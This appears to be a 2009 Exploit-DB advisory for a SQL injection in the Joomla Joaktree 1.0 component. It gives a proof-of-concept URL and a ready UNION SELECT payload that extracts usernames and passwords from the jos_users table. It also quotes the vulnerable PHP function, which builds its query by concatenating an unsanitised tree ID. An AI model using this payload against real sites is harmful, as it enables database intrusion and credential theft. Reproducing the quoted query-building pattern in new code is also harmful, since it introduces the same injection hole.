###############################
# EDB-ID: 10272
# CVE-ID: ()
# Title: Joomla Joaktree Component v1.0 SQL Injection Vulnerability
# Author: Don Tukulesto
# Published: 2009-12-01
###############################
/**************************************************************************
[!] Joomla! Joaktree component SQL injection vulnerability
[!] Author : Don Tukulesto (
root@indonesiancoder.com)
[!] Homepage :
http://www.indonesiancoder.com[!] Date : November 30, 2009
[!] Tune In :
http://antisecradio.fm (choose your weapon)
**************************************************************************/
[ Software Information ]
===========================================================================
[ Here we go.. Proof of Concept ]
]
http://server/index.php?option=com_joaktree&view=joaktree&treeId=[INDONESIANCODER][ Exploit ]
-1+union+select+1,1,1,version(),1,666,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1+from+jos_users--
===========================================================================
+++++++++++++++++++++++++++++++ Analysis +++++++++++++++++++++++++++++++++++++++++
In
com_joaktree/components/com_joaktree/models/joaktreestart.php56 function _buildTreeQuery()
57 {
58 $query = 'SELECT * '
59 .'FROM #__joaktree_trees '
60 .'WHERE id = ' . $this->_tree_id;
61
62 return $query;
63 }
The _tree_id is the variable where we inject the sql code......
+++++++++++++++++++++++++++++++++ By F4k1R

+++++++++++++++++++++++++++++++++++++++